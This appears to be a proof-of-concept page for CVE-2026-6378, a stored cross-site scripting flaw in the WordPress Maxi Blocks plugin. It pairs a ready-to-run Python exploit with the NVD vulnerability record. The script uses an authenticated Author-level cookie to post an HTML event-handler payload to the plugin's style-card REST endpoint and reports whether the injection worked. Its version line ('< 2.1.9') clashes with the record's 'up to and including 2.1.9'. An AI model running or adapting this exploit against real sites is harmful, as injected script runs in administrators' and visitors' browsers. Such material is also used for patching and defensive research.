CVE-2026-6378

import requests # Exploit Title: WordPress Maxi Blocks < 2.1.9 - Stored XSS # Description: Inject malicious script via sc_styles parameter target_url = "http://target-site.com/wp-json/maxi-blocks/v1.0/style-card" # Attacker needs a valid authenticated cookie (Author level or higher) cookies = { "wordpress_logged_in_xxxxx": "your_cookie_here" } # Malicious payload to be injected payload_data = { "sc_styles": "<img src=x onerror=alert('XSS')>", "id": "1" } headers = { "Content-Type": "application/json" } try: response = requests.post(target_url, json=payload_data, cookies=cookies, headers=headers) if response.status_code == 200: print("[+] Payload injected successfully!") print("[+] Check the admin panel or pages using the style card to verify execution.") else: print(f"[-] Failed. Status code: {response.status_code}") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-6378", "sourceIdentifier": "[email protected]", "published": "2026-05-02T04:16:11.990", "lastModified": "2026-05-05T19:17:22.860", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Maxi Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `/wp-json/maxi-blocks/v1.0/style-card` REST API endpoint in all versions up to, and including, 2.1.9 due to insufficient input sanitization and output escaping of the `sc_styles` parameter. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts that execute on every page where the plugin's style card styles are loaded, including across the entire WordPress admin panel."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/maxi-blocks/maxi-blocks/pull/6250/changes/8db3267df9858f684e420566227ed2ea7954d9a9", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/maxi-blocks/tags/2.1.10/core/class-maxi-api.php#L1010", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/maxi-blocks/tags/2.1.10/core/class-maxi-api.php#L1021", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/maxi-blocks/tags/2.1.10/core/class-maxi-api.php#L979", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/maxi-blocks/tags/2.1.10/core/class-maxi-api.php#L981", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/maxi-blocks/tags/2.1.10/core/class-maxi-api.php#L987", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/maxi-blocks/tags/2.1.9/core/class-maxi-api.php#L221", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/maxi-blocks/tags/2.1.9/core/class-maxi-api.php#L979", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/maxi-blocks/tags/2.1.9/core/class-maxi-style-cards.php#L197", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/22f05048-df38-4f26-82a3-53caac995283?source=cve", "source": "[email protected]"}]}}